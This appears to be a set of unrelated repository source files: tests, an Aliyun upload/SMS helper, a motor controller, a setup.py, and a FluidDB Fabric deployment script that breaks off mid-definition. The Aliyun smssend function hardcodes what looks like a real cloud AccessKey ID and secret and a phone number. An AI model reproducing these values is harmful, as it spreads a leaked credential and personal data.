parse.max_time_len > 30: max_time_len = 30 print(parse) with open(stat_dir, 'r') as f: stat = json.load(f) num_item, num_cate, num_ft, profile_fnum, itm_spar_fnum, itm_dens_fnum, = stat['item_num'], stat['cate_num'], \ stat['ft_num'], stat['profile_fnum'], stat['itm_spar_fnum'], stat['itm_dens_fnum'] print('num of item', num_item, 'num of list', stat['train_num'] + stat['val_num'] + stat['test_num'], 'profile num', profile_fnum, 'spar num', itm_spar_fnum, 'dens num', itm_dens_fnum) # train_file, val_file, test_file = pkl.load(open(os.path.join(processed_dir, 'data.data'), 'rb')) # props = pkl.load(open(os.path.join(processed_dir, 'prop'), 'rb')) # props[0] = [1e-6 for i in range(max_time_len)] # profile = pkl.load(open(os.path.join(processed_dir, 'user.profile'), 'rb')) # construct training files train_dir = os.path.join(processed_dir, initial_ranker + '.data.train') if os.path.isfile(train_dir): train_lists = pkl.load(open(train_dir, 'rb')) else: train_lists = construct_list(os.path.join(processed_dir, initial_ranker + '.rankings.train'), max_time_len) pkl.dump(train_lists, open(train_dir, 'wb')) # construct test files test_dir = os.path.join(processed_dir, initial_ranker + '.data.test') if os.path.isfile(test_dir): test_lists = pkl.load(open(test_dir, 'rb')) else: test_lists = construct_list(os.path.join(processed_dir, initial_ranker + '.rankings.test'), max_time_len) pkl.dump(test_lists, open(test_dir, 'wb')) train(train_lists, test_lists, num_ft, max_time_len, itm_spar_fnum, itm_dens_fnum, profile_fnum, parse)
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tests/test_objects.py
pfackeldey/awkward-array
0
1617036
#!/usr/bin/env python # Copyright (c) 2019, IRIS-HEP # All rights reserved. # # Redistribution and use in source and binary forms, with or without # modification, are permitted provided that the following conditions are met: # # * Redistributions of source code must retain the above copyright notice, this # list of conditions and the following disclaimer. # # * Redistributions in binary form must reproduce the above copyright notice, # this list of conditions and the following disclaimer in the documentation # and/or other materials provided with the distribution. # # * Neither the name of the copyright holder nor the names of its # contributors may be used to endorse or promote products derived from # this software without specific prior written permission. # # THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" # AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE # IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE # DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE # FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL # DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR # SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER # CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, # OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE # OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. import struct import unittest import numpy from awkward import * class Test(unittest.TestCase): def runTest(self): pass def test_object_nbytes(self): class Point(object): def __init__(self, array): self.x, self.y, self.z = array def __repr__(self): return "<Point {0} {1} {2}>".format(self.x, self.y, self.z) def __eq__(self, other): return isinstance(other, Point) and self.x == other.x and self.y == other.y and self.z == other.z assert isinstance(ObjectArray([[1.1, 2.2, 3.3], [4.4, 5.5, 6.6], [7.7, 8.8, 9.9]], Point).nbytes, int) def test_object_floats(self): class Point(object): def __init__(self, array): self.x, self.y, self.z = array def __repr__(self): return "<Point {0} {1} {2}>".format(self.x, self.y, self.z) def __eq__(self, other): return isinstance(other, Point) and self.x == other.x and self.y == other.y and self.z == other.z a = ObjectArray([[1.1, 2.2, 3.3], [4.4, 5.5, 6.6], [7.7, 8.8, 9.9]], Point) assert a[0] == Point([1.1, 2.2, 3.3]) assert a[1] == Point([4.4, 5.5, 6.6]) assert a[2] == Point([7.7, 8.8, 9.9]) assert a[:].tolist() == [Point([1.1, 2.2, 3.3]), Point([4.4, 5.5, 6.6]), Point([7.7, 8.8, 9.9])] assert a[::2].tolist() == [Point([1.1, 2.2, 3.3]), Point([7.7, 8.8, 9.9])] assert a[[True, False, True]].tolist() == [Point([1.1, 2.2, 3.3]), Point([7.7, 8.8, 9.9])] assert a[[2, 0]].tolist() == [Point([7.7, 8.8, 9.9]), Point([1.1, 2.2, 3.3])] def test_object_bytes(self): class Point(object): def __init__(self, bytes): self.x, self.y, self.z = struct.unpack("ddd", bytes) def __repr__(self): return "<Point {0} {1} {2}>".format(self.x, self.y, self.z) def __eq__(self, other): return isinstance(other, Point) and self.x == other.x and self.y == other.y and self.z == other.z a = ObjectArray(numpy.array([1.1, 2.2, 3.3, 4.4, 5.5, 6.6, 7.7, 8.8, 9.9]).view("u1").reshape(-1, 24), Point) assert a[0] == Point(numpy.array([1.1, 2.2, 3.3]).tobytes()) assert a[1] == Point(numpy.array([4.4, 5.5, 6.6]).tobytes()) assert a[2] == Point(numpy.array([7.7, 8.8, 9.9]).tobytes()) assert a[:].tolist() == [Point(numpy.array([1.1, 2.2, 3.3]).tobytes()), Point(numpy.array([4.4, 5.5, 6.6]).tobytes()), Point(numpy.array([7.7, 8.8, 9.9]).tobytes())] assert a[::2].tolist() == [Point(numpy.array([1.1, 2.2, 3.3]).tobytes()), Point(numpy.array([7.7, 8.8, 9.9]).tobytes())] assert a[[True, False, True]].tolist() == [Point(numpy.array([1.1, 2.2, 3.3]).tobytes()), Point(numpy.array([7.7, 8.8, 9.9]).tobytes())] assert a[[2, 0]].tolist() == [Point(numpy.array([7.7, 8.8, 9.9]).tobytes()), Point(numpy.array([1.1, 2.2, 3.3]).tobytes())]
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tests/test_encode.py
dveselov/beretta
2
147381
<reponame>dveselov/beretta import re import beretta import unittest import datetime class EncodeTestCase(unittest.TestCase): def test_encode_compressed(self): bytes = beretta.encode((':call', 'Module', 'function', []) * 4, compressed=6) self.assertTrue(bytes.startswith(b'\x83P')) def test_encode_tuple(self): bytes = beretta.encode((':call', 'Module', 'function', [True])) self.assertEqual(bytes, b'\x83h\x04d\x00\x04callm\x00\x00\x00' b'\x06Modulem\x00\x00\x00\x08functionl' b'\x00\x00\x00\x01h\x02d\x00\x04bertd' b'\x00\x04truej') def test_encode_list(self): bytes = beretta.encode([1, 2, False]) self.assertEqual(bytes, b'\x83l\x00\x00\x00\x03a\x01a\x02h\x02d' b'\x00\x04bertd\x00\x05falsej') def test_encode_empty_list(self): bytes = beretta.encode([]) self.assertEqual(bytes, b'\x83h\x02d\x00\x04bertd\x00\x03nil') def test_encode_true(self): bytes = beretta.encode(True) self.assertEqual(bytes, b'\x83h\x02d\x00\x04bertd\x00\x04true') def test_encode_false(self): bytes = beretta.encode(False) self.assertEqual(bytes, b'\x83h\x02d\x00\x04bertd\x00\x05false') def test_encode_none(self): bytes = beretta.encode(None) self.assertEqual(bytes, b'\x83h\x02d\x00\x04bertd\x00\tundefined') def test_encode_dict(self): bytes = beretta.encode({'key': 'value'}) self.assertEqual(bytes, b'\x83h\x03d\x00\x04bertd\x00\x04dictl' b'\x00\x00\x00\x01h\x02m\x00\x00\x00\x03' b'keym\x00\x00\x00\x05valuej') def test_encode_empty_dict(self): bytes = beretta.encode({}) self.assertEqual(bytes, b'\x83h\x03d\x00\x04bertd\x00\x04dictj') def test_encode_datetime(self): bytes = beretta.encode(datetime.datetime(2014, 2, 10, 6, 2, 51, 36215)) self.assertEqual(bytes, b'\x83h\x05d\x00\x04bertd\x00\x04timeb' b'\x00\x00\x05pb\x00\x00/\x8bb\x00\x00\x8dw') def test_encode_0(self): bytes = beretta.encode(0) self.assertEqual(bytes, b'\x83a\x00') def test_encode_1(self): bytes = beretta.encode(1) self.assertEqual(bytes, b'\x83a\x01') def test_encode_0_float(self): bytes = beretta.encode(0.0) self.assertEqual(bytes, b'\x83c0.00000000000000000000e+00\x00\x00\x00\x00\x00') def test_encode_regex(self): regex = re.compile('^(kitty)$', re.I|re.X) self.assertEqual(regex.pattern, '^(kitty)$') self.assertIn(regex.flags, (66, 98)) # python 2.x / 66, python 3.x / 98 bytes = beretta.encode(regex) self.assertEqual(bytes, b'\x83h\x04d\x00\x04bertd\x00\x05regexm\x00\x00\x00\t' b'^(kitty)$h\x02d\x00\x08extendedd\x00\x08caseless')
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Kinkajou/python/common/aliyun.py
app858216291-github/Kinkajou-shop
0
174850
<filename>Kinkajou/python/common/aliyun.py # -*- coding: utf-8 -*- import oss2,os import datetime,random from werkzeug.utils import secure_filename from setting import Aliyun from aliyunsdkcore.client import AcsClient from aliyunsdkcore.request import CommonRequest AccessKeyID = Aliyun.AccessKeyID AccessKeySecret = Aliyun.AccessKeySecret Url =Aliyun.Url bucketName = Aliyun.bucketName # 阿里云主账号AccessKey拥有所有API的访问权限，风险很高。强烈建议您创建并使用RAM账号进行API访问或日常运维，请登录 https://ram.console.aliyun.com 创建RAM账号。 auth = oss2.Auth(AccessKeyID, AccessKeySecret) # Endpoint以杭州为例，其它Region请按实际情况填写。 bucket = oss2.Bucket(auth, Url, bucketName) gen_rnd_filename = lambda :"%s%s" %(datetime.datetime.now().strftime('%Y%m%d%H%M%S'), str(random.randrange(1000, 10000))) ##阿里云官方代码 def upload_api(filename,dir="common"): # 必须以二进制的方式打开文件，因为需要知道文件包含的字节数。 with open(filename, 'rb') as fileobj: # Seek方法用于指定从第1000个字节位置开始读写。上传时会从您指定的第1000个字节位置开始上传，直到文件结束。 # fileobj.seek(1000, os.SEEK_SET) # Tell方法用于返回当前位置。 # current = fileobj.tell() bucket.put_object(dir+'/'+filename, fileobj) print("完成") ##layui上传文件api def upload(f,dir="common"): filename = secure_filename(gen_rnd_filename() + "." + f.filename.split('.')[-1]) bucket.put_object(dir+'/' + filename, f) return filename # upload("123.jpg") ###发送短息 def smssend(): client = AcsClient('LTAIow0LIFQ8ZprF', 'AiYBERNMriW85JBWoZPl62C9hMsago', 'ap-northeast-1') request = CommonRequest() request.set_accept_format('json') request.set_domain('dysmsapi.aliyuncs.com') request.set_method('POST') request.set_protocol_type('https') # https | http request.set_version('2017-05-25') request.set_action_name('SendSms') request.add_query_param('PhoneNumbers', "13774514086") request.add_query_param('SignName', "蜜熊科技") request.add_query_param('TemplateCode', "SMS_218292663") request.add_query_param('TemplateParam', "{\"code\":\"1111\"}") response = client.do_action(request) # python2: print(response) print(str(response, encoding = 'utf-8')) # smssend()
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python/motorModule.py
jhol0613/pacbot2018
0
59877
<filename>python/motorModule.py #!/usr/bin/env python3 import os import robomodules as rm from messages import * import RPi.GPIO as GPIO import time import signal import sys ADDRESS = os.environ.get("BIND_ADDRESS","localhost") PORT = os.environ.get("BIND_PORT", 11293) FREQUENCY = 0 LEFT_PWM = 32 LEFT_1 = 36 LEFT_2 = 38 RIGHT_PWM = 33 RIGHT_1 = 35 RIGHT_2 = 37 BACKWARD = 0 FORWARD = 1 LEFT_MOTOR = 0 RIGHT_MOTOR = 1 class MotorModule(rm.ProtoModule): def __init__(self, addr, port): print("Initializing Motors...") self.subscriptions = [MsgType.TWIST] super().__init__(addr, port, message_buffers, MsgType, FREQUENCY, self.subscriptions) self.initializeMotors() self.leftSpeed = 0 self.rightSpeed = 0 self.leftDir = 0 self.rightDir = 0 print("Motors Initialized") def msg_received(self, msg, msg_type): # This gets called whenever any message is received if msg_type == MsgType.TWIST: self.processTwist(msg.velocity, msg.omega) def tick(self): # this function will get called in a loop with FREQUENCY frequency return def initializeMotors(self): GPIO.setmode(GPIO.BOARD) GPIO.setup(LEFT_PWM, GPIO.OUT) GPIO.setup(LEFT_1, GPIO.OUT) GPIO.setup(LEFT_2, GPIO.OUT) GPIO.setup(RIGHT_PWM, GPIO.OUT) GPIO.setup(RIGHT_1, GPIO.OUT) GPIO.setup(RIGHT_2, GPIO.OUT) self.right_pwm = GPIO.PWM(RIGHT_PWM, 100) self.left_pwm = GPIO.PWM(LEFT_PWM, 100) self.right_pwm.start(0) self.left_pwm.start(0) self.setDirection(LEFT_MOTOR, FORWARD) self.setDirection(RIGHT_MOTOR, FORWARD) time.sleep(1) def setDirection(self, motor, direction): if motor == LEFT_MOTOR: if direction == FORWARD: GPIO.output(LEFT_1, True) GPIO.output(LEFT_2, False) else: GPIO.output(LEFT_1, False) GPIO.output(LEFT_2, True) else: if direction == FORWARD: GPIO.output(RIGHT_1, True) GPIO.output(RIGHT_2, False) else: GPIO.output(RIGHT_1, False) GPIO.output(RIGHT_2, True) # Takes linear and rotational values and converts into signals for left and right motor def processTwist(self, linSpeed, rotSpeed): leftSpeed = linSpeed rightSpeed = linSpeed leftSpeed += rotSpeed rightSpeed -= rotSpeed if leftSpeed >= 0: self.setDirection(LEFT_MOTOR, FORWARD) else: self.setDirection(LEFT_MOTOR, BACKWARD) if rightSpeed >= 0: self.setDirection(RIGHT_MOTOR, FORWARD) else: self.setDirection(RIGHT_MOTOR, BACKWARD) # If speeds beyond limits, set to limits. Otherwise set to calculated speed if abs(leftSpeed) > 100: self.left_pwm.ChangeDutyCycle(100) else: self.left_pwm.ChangeDutyCycle(abs(leftSpeed)) if abs(rightSpeed) > 100: self.right_pwm.ChangeDutyCycle(100) else: self.right_pwm.ChangeDutyCycle(abs(rightSpeed)) def destroy(*args): GPIO.cleanup() print("Motor module safely terminated") sys.exit() def main(): signal.signal(signal.SIGINT, destroy) signal.signal(signal.SIGTERM, destroy) module = MotorModule(ADDRESS, PORT) module.run() if __name__ == "__main__": main()
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setup.py
zojabutenko/palmetto-py
0
63779
<gh_stars>0 from distutils.core import setup setup( name = 'palmettopy', packages = ['palmettopy'], # this must be the same as the name above version = 'v3.2', description = 'Palmetto Python Interface', author = '<NAME>', author_email = '<EMAIL>', url = 'https://github.com/earthquakesan/palmetto-py', # use the URL to the github repo download_url = 'https://github.com/earthquakesan/palmetto-py/archive/v3.1.tar.gz', keywords = ['aksw', 'nlp', 'semantic-web'], # arbitrary keywords classifiers = [], install_requires=[ 'requests' ], )
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fluiddb/scripts/deployment.py
fluidinfo/fluiddb
3
163689
<gh_stars>1-10 from ConfigParser import RawConfigParser from datetime import datetime from getpass import getpass import logging import os import time import random import crypt from boto.ec2.connection import EC2Connection from boto.exception import EC2ResponseError from fabric.context_managers import cd, settings from fabric.contrib.files import sed, exists from fabric.operations import local, put, sudo, run, reboot, get from fabric.state import env from string import ascii_letters, digits def _hashPassword(password): """Return {password} hashed with a random salt.""" charset = './' + ascii_letters + digits return crypt.crypt(password, ''.join(random.sample(charset, 2))) def createDisk(instanceID, devicePrefix, raidDevice, numVolumes, volumeSize, mountPath, namePrefix): """Create a new disk for storage using a RAID array or a single EBS volume. @param instanceID: The AWS instance ID to create the disk on. e.g. 'i-bf948fce' @param devicePrefix: The prefix used for devices for volumes. e.g. '/dev/sdn1'. @param raidDevice: If the disk is going to be a RAID array, specify the device to use for the RAID. e.g '/dev/md6' @param numVolumes: The number of EBS volumes to create. More than 1 will create a RAID array. @param volumeSize: The size in GiB for each volume. @param mountPath: The path where the new disk is going to be mounted. e.g '/var/lib/fluidinfo/test' @param: owner: The user who will be the owner of the mounted disk. e.g. 'fluidinfo' """ assert numVolumes > 0 assert 0 < volumeSize < 1000 if numVolumes > 1: assert raidDevice is not None print 'Getting instance information.' ec2 = EC2Connection() instance = ec2.get_all_instances([instanceID])[0].instances[0] zone = instance.placement volumes = [] for i in range(numVolumes): device = devicePrefix + str(i + 1) print 'Creating volume for', device volume = ec2.create_volume(volumeSize, zone) volume.attach(instanceID, device) volumes.append(volume) if namePrefix is not None: volume.add_tag( 'Name', '{0} ({1})'.format(namePrefix, device.split('/')[-1])) pendingVolumes = set(volumes) while pendingVolumes: print 'Attaching volumes.', len(pendingVolumes), 'remaining.' time.sleep(1) for volume in list(pendingVolumes): try: volume.update() except EC2ResponseError: print 'Response error.' print "Don't panic, this usually happens, trying again." if volume.attachment_state() == u'attached': pendingVolumes.remove(volume) print 'All volumes attached: ', ''.join(volume.id for volume in volumes) env.host_string = instance.dns_name if len(volumes) > 1: sudo('DEBIAN_FRONTEND=noninteractive apt-get install -y mdadm') print 'Creating RAID array.' devices = [volume.attach_data.device.replace('/dev/sd', '/dev/xvd') for volume in volumes] devices = ' '.join(devices) sudo('mdadm --create {0} --level raid10 --auto=yes --assume-clean ' '--raid-devices {1} {2}'.format(raidDevice, numVolumes, devices)) sudo('echo DEVICE {0} >> /etc/mdadm/mdadm.conf'.format(devices)) sudo('mdadm --detail --scan | grep {0} | ' 'sudo tee -a /etc/mdadm/mdadm.conf'.format(raidDevice)) # Tell the kernel to use the specified configurationg, otherwise it # will use something like /dev/md127 sudo('update-initramfs -u') device = raidDevice else: device = volumes[0].attach_data.device.replace('/dev/sd', '/dev/xvd') print 'Formating device.' sudo('mkfs.ext4 {0}'.format(device)) sudo('echo "{0} {1} ext4 noatime 0 0" >> /etc/fstab'.format(device, mountPath)) print 'Mounting device.' sudo('mkdir -p {0}'.format(mountPath)) sudo('mount %s' % mountPath) print 'Success.' def bootstrapFluidDB(serverName, databaseURI, solrURL, solrShards, createSchema=None, solrImport=None): """Bootstraps a fluidDB deployment. This installs dependencies, uploads the fluiddb source code and sets up the necessary configuration files. This only bootstraps FluidDB. Postgres, Solr and other services require other commands. """ # Install requirements sudo('DEBIAN_FRONTEND=noninteractive apt-get install -y ' 'bzr git postgresql-server-dev-9.1 python-dev python-pip ' 'python-virtualenv make logrotate openntpd') # Create a 'fluidinfo' user sudo('sudo adduser --system --home /var/lib/fluidinfo ' ' --gecos "Fluidinfo,,," --disabled-password ' ' --shell /bin/bash fluidinfo') sudo('chown -R fluidinfo /var/lib/fluidinfo') # Upload and set up the code. deploymentPath = os.path.join('/srv', serverName) revision = datetime.utcnow().strftime('%Y%m%d-%H%M') revisionPath = os.path.join(deploymentPath, revision) sudo('mkdir -p {0}'.format(revisionPath)) sudo('chown -R fluidinfo {0}'.format(deploymentPath)) local('git archive --prefix=fluidinfo/ -v --format tar HEAD | ' 'bzip2 > fluidinfo.tar.bz2') put('fluidinfo.tar.bz2') sudo('cp fluidinfo.tar.bz2 {0}'.format(revisionPath)) with cd(revisionPath): sudo('chown -R fluidinfo {0}'.format(revisionPath)) sudo('chown fluidinfo fluidinfo.tar.bz2') sudo('tar jxvf fluidinfo.tar.bz2', user='fluidinfo') sudo('mkdir -p var/log var/log/trace var/run var/tmp', user='fluidinfo') with cd(os.path.join(revisionPath, 'fluidinfo')): sudo('virtualenv .', user='fluidinfo') sudo('mkdir -p /var/lib/fluidinfo/pip-cache', user='fluidinfo') sudo('./bin/pip install --use-mirrors ' '--download-cache=/var/lib/fluidinfo/pip-cache ' '--log /tmp/pip.log ' '-r requirements.txt', user='fluidinfo') if createSchema: sudo('bin/python bin/fluidinfo ' ' bootstrap-database {0}'.format(databaseURI), user='fluidinfo') # We use this to make sure that the database is properly configured. sudo('bin/python bin/fluidinfo ' ' patch-status {0}'.format(databaseURI), user='fluidinfo') # Run full DIH on all solr shards. if solrImport: for shard in solrShards.split(','): run('curl http://{0}/dataimport?command=full-import&' 'clean=true&commit=true&optimize=false'.format(shard)) # On successful completion, clean up /tmp sudo('rm -f /tmp/pip.log') # Copy and setup configuration files. deployConfigFiles( {'deployment-path': deploymentPath, 'server-name': serverName, 'revision-path': revisionPath, 'solr-url': solrURL, 'solr-shards': solrShards, 'postgres-uri': databaseURI}, ('fluidinfo/fluidinfo-api.conf.template', '{revision-path}/fluidinfo-api.conf'), ('logrotate/fluidinfo-api.template', '/etc/logrotate.d/fluidinfo-api'), ('upstart/fluidinfo-api.conf.template', '/etc/init/fluidinfo-api.conf'), ('upstart/fluidinfo-api-node.conf.template', '/etc/init/fluidinfo-api-node.conf'), ('ntpd/ntpd.conf', '/etc/openntpd/ntpd.conf')) with cd(deploymentPath): sudo('ln -fs {0} current'.format(revision)) sudo('/etc/init.d/openntpd restart') sudo('start fluidinfo-api') def updateFluidDB(serverName): """Update a FluidDB deployment. This installs dependencies, uploads the fluiddb source code and sets up the necessary configuration files. This only updates FluidDB. Postgres, Solr and other services require other commands. If the server is new, you should use L{bootstrapFluidDB} instead. """ # Upload and set up the code. deploymentPath = os.path.join('/srv', serverName) revision = datetime.utcnow().strftime('%Y%m%d-%H%M') revisionPath = os.path.join(deploymentPath, revision) sudo('mkdir -p {0}'.format(revisionPath)) local('git archive --prefix=fluidinfo/ -v --format tar HEAD | ' 'bzip2 > fluidinfo.tar.bz2') put('fluidinfo.tar.bz2', revisionPath, use_sudo=True) with cd(revisionPath): sudo('mkdir -p var/log var/log/trace var/run var/tmp') sudo('chown -R fluidinfo {0}'.format(revisionPath)) sudo('tar jxvf fluidinfo.tar.bz2', user='fluidinfo') with cd(os.path.join(revisionPath, 'fluidinfo')): sudo('virtualenv .', user='fluidinfo') sudo('mkdir -p /var/lib/fluidinfo/pip-cache', user='fluidinfo') sudo('./bin/pip install --use-mirrors ' '--download-cache=/var/lib/fluidinfo/pip-cache ' '--log /tmp/pip.log ' '-r requirements.txt', user='fluidinfo') # On successful completion, clean up /tmp sudo('rm -f /tmp/pip.log') get(os.path.join(deploymentPath, 'current', 'fluidinfo-api.conf'), 'fluidinfo-api.conf') config = RawConfigParser() with open('fluidinfo-api.conf', 'r') as configFile: config.readfp(configFile) # Copy and set up configuration files. deployConfigFiles( {'deployment-path': deploymentPath, 'server-name': serverName, 'revision-path': revisionPath, 'solr-url': config.get('index', 'url'), 'solr-shards': config.get('index', 'shards'), 'postgres-uri': config.get('store', 'main-uri')}, ('fluidinfo/fluidinfo-api.conf.template', '{revision-path}/fluidinfo-api.conf')) local('rm fluidinfo-api.conf') # TODO: check patches. # TODO: update version tag. with cd(deploymentPath): sudo('rm current') sudo('ln -fs {0} current'.format(revision)) for port in range(9001, 9009): sudo('restart fluidinfo-api-node PORT=%d' % port) def bootstrapPostgres(serverName, awsAccessKey=None, awsSecretKey=None): """Bootstraps Postgres to work with FluidDB. This installs dependencies and sets up the necessary configuration files. This only bootstraps Postgres. FluidDB, Solr and other services require other commands. """ # Install requirements sudo('DEBIAN_FRONTEND=noninteractive apt-get install -y ' 'postgresql-9.1') sudo('/etc/init.d/postgresql stop') sudo('mkdir -p /var/lib/postgresql/scripts') sudo('mkdir -p /var/lib/postgresql/backup') deploymentPath = os.path.join('/srv', serverName) deployConfigFiles( {'server-name': serverName, 'aws-access-key': awsAccessKey, 'aws-secret-key': awsSecretKey, 'deployment-path': deploymentPath}, ('postgres/postgresql.conf', '/etc/postgresql/9.1/main/postgresql.conf'), ('postgres/pg_hba.conf', '/etc/postgresql/9.1/main/pg_hba.conf'), ('postgres/backup.sh.template', '/var/lib/postgresql/scripts/backup.sh'), ('postgres/clean-dirty-objects.sh', '/var/lib/postgresql/scripts/clean-dirty-objects.sh'), ('postgres/crontab', '/var/lib/postgresql/scripts/crontab'), ('s3/boto.cfg.template', '/etc/boto.cfg')) sudo('chown -R postgres:postgres /var/lib/postgresql/scripts') sudo('chown -R postgres:postgres /var/lib/postgresql/backup') sudo('chmod +x /var/lib/postgresql/scripts/backup.sh') sudo('chmod +x /var/lib/postgresql/scripts/clean-dirty-objects.sh') sudo('crontab -u postgres /var/lib/postgresql/scripts/crontab') sudo('/etc/init.d/postgresql start') # Configure postgres sudo('createuser -D -R -S -w fluidinfo', user='postgres') sudo('createdb fluidinfo -O fluidinfo', user='postgres') sudo("""echo "ALTER ROLE fluidinfo WITH ENCRYPTED PASSWORD '<PASSWORD>'" | psql fluidinfo""", user='postgres') def bootstrapSolr(serverName, databaseURI, numShards, shardID): """Bootstraps Solr to work with FluidDB. This installs dependencies and sets up the necessary configuration files. This only bootstraps Solr. FluidDB, Postgres and other services require other commands. """ # Install requirements sudo('DEBIAN_FRONTEND=noninteractive apt-get install -y ' 'ant junit4 libpg-java solr-common solr-tomcat tomcat6 ' 'openjdk-6-jdk libcommons-lang-java libvelocity-tools-java') location = "https://launchpad.net/~fluidinfo/+archive/fluiddb/+files/" packages = [ 'libnoggit-java_0.1-SNAPSHOT%2Bsvn1143083-1~ppa1~lucid2_all.deb', 'solr-common_3.4.0-0~ppa3~lucid2_all.deb', 'solr-tomcat_3.4.0-0~ppa3~lucid2_all.deb' ] for package in packages: sudo('curl -L {0} > /tmp/{1}'.format(location + package, package)) sudo('dpkg -i /tmp/{0}'.format(package)) sudo('rm -f /tmp/{0}'.format(package)) # Upload and set up the code. local('tar -jcvf solr.tar.bz2 build.xml java') put('solr.tar.bz2') run('tar -jxvf solr.tar.bz2') run('ant jar') sudo('ln -fs /usr/share/java/postgresql.jar /usr/share/solr/WEB-INF/lib/') sudo('ln -fs /usr/share/java/noggit.jar /usr/share/solr/WEB-INF/lib/') deployConfigFiles( {'postgres-uri': databaseURI, 'server-name': serverName, 'num-shards': str(numShards), 'shard-id': str(shardID)}, ('solr/schema.xml', '/etc/solr/conf/schema.xml'), ('solr/solrconfig.xml', '/etc/solr/conf/solrconfig.xml'), ('solr/dataimport.properties', '/etc/solr/conf/dataimport.properties'), ('solr/data-config.xml.template', '/etc/solr/conf/data-config.xml'), ('solr/web.xml', '/etc/solr/web.xml')) sudo('chown tomcat6:tomcat6 /etc/solr/conf/dataimport.properties') sudo('cp dist/tagvaluetransformer.jar /usr/share/solr/WEB-INF/lib') sudo('/etc/init.d/tomcat6 restart') def bootstrapRedis(serverName): """Bootstraps Redis to work with FluidDB. This installs dependencies and sets up the necessary configuration files. This only bootstraps Redis. FluidDB, Postgres and other services require other commands. """ # Install requirements sudo('DEBIAN_FRONTEND=noninteractive apt-get install -y ' 'redis-server') deployConfigFiles( {'server-name': serverName}, ('redis/redis.conf', '/etc/redis/redis.conf')) def bootstrapFrontend(serverName, serverPort, sslPublicCertPath, sslPrivateCertPath): """Bootstraps the web server and proxy to work with FluidDB. This installs dependencies and sets up the necessary configuration files. """ # Upload files put(sslPublicCertPath, 'fluidinfo.pem') put(sslPrivateCertPath, 'fluidinfo.key') # Install requirements. sudo('DEBIAN_FRONTEND=noninteractive apt-get install -y nginx haproxy') # Set up haproxy. sudo('/etc/init.d/haproxy stop') deployConfigFiles( {'server-name': serverName}, ('haproxy/haproxy.cfg', '/etc/haproxy/haproxy.cfg'), ('haproxy/haproxy-default', '/etc/default/haproxy')) sudo('mkdir -p ../var/run/haproxy') sudo('chown haproxy:haproxy ../var/run/haproxy') sudo('/etc/init.d/haproxy start') sudo('curl --silent http://127.0.0.1:9000 > /dev/null && echo Works!') # Set up nginx. sudo('/etc/init.d/nginx stop') sudo('mkdir -p /etc/nginx/ssl') sudo('mv fluidinfo.pem /etc/nginx/ssl') sudo('chmod 600 /etc/nginx/ssl/fluidinfo.pem') sudo('mkdir -p /var/lib/fluidinfo/logs') sudo('mv fluidinfo.key /etc/nginx/ssl') sudo('chmod 600 /etc/nginx/ssl/fluidinfo.key') deployConfigFiles( {'server-name': serverName}, ('nginx/fluidinfo-secure.conf.template', '/etc/nginx/sites-available/{server-name}')) sudo('ln -sf /etc/nginx/sites-available/{0} ' '/etc/nginx/sites-enabled/{0}'.format(serverName)) sudo('rm -f /etc/nginx/sites-enabled/default') sudo('/etc/init.d/nginx start') time.sleep(1) sudo('curl --silent http://127.0.0.1:%d > /dev/null && echo Works!' % serverPort) def deployConfigFiles(templateData, *files): """ Deploy configuration files, filling template fields with real deployment data. @param templateData: A C{dict} with the data to fill the templates. @param *files: A list C{(source, destination)} with information about what files to copy """ serverName = templateData['server-name'] for origin, destination in files: specificFilename = os.path.join('deployment', serverName, origin) defaultFilename = os.path.join('deployment', 'default', origin) origin = (specificFilename if os.path.exists(specificFilename) else defaultFilename) destination = destination.format(**templateData) put(origin, destination, use_sudo=True) for key, value in templateData.iteritems(): sed(destination, '\{\{ %s \}\}' % key, value.replace('.', r'\.'), use_sudo=True) def authorizeSshKey(username, sshId): """Add specified SSH public key to the user's ~/.ssh/authorized_keys. If there is no such file, one will be created for the user. @param username: The name of the user whose authorized_keys is being updated. @param sshId: Path to SSH public key (usually ~/.ssh/id_rsa.pub) """ with settings(user='ubuntu', key_filename=os.environ['EC2_KEYPAIR_PATH']): sshPath = os.path.join('~%s' % username, '.ssh') sudo('mkdir -p %s' % sshPath) sudo('chmod 700 %s' % sshPath) sudo('chown %s:%s %s' % (username, username, sshPath)) authorizedKeysPath = os.path.join(sshPath, 'authorized_keys') pubKey = open(sshId, 'r').readline().strip() sudo("echo '%s' >> %s" % (pubKey, authorizedKeysPath)) sudo('chmod 600 %s' % authorizedKeysPath) sudo('chown %s:%s %s' % (username, username, authorizedKeysPath)) def addAdmin(username, sshId, user, identity): """Add a user with admin privileges to an Ubuntu server. @param username: The name of the new user. @param sshId: Path to SSH public key (usually ~/.ssh/id_rsa.pub) @param user: Optionally, the user to connect as. @param identity: Optionally, the SSH identity to use when connecting. """ if identity: env.key_filename = identity if user: env.user = user sudo('adduser --disabled-password --gecos ",,," %s' % username) sudo('usermod -p "" %s' % username) sudo('chage -d 0 %s' % username) sudo('gpasswd --add %s admin' % username) authorizeSshKey(username, sshId) def prepareInstance(username, sshId): """Prepare an instance updating the packages and creating a new user. @param username: The name of the new user. @param sshId: Path to SSH public key (usually ~/.ssh/id_rsa.pub) """ print os.environ['EC2_KEYPAIR_PATH'] with settings(user='ubuntu', key_filename=os.environ['EC2_KEYPAIR_PATH']): password = getpass('Enter a new password for user %s:' % username) password2 = getpass('Enter the password a again:') if password != password2: raise RuntimeError("Passwords don't match") sudo('adduser --disabled-password --gecos ",,," %s' % username) cryptedPassword = _hashPassword(password) sudo('usermod --password %s %s' % (cryptedPassword, username)) sudo('gpasswd --add %s admin' % username) authorizeSshKey(username, sshId) sudo('apt-get update') sudo('DEBIAN_FRONTEND=noninteractive apt-get dist-upgrade -y') if exists('/var/run/reboot-required'): reboot() def 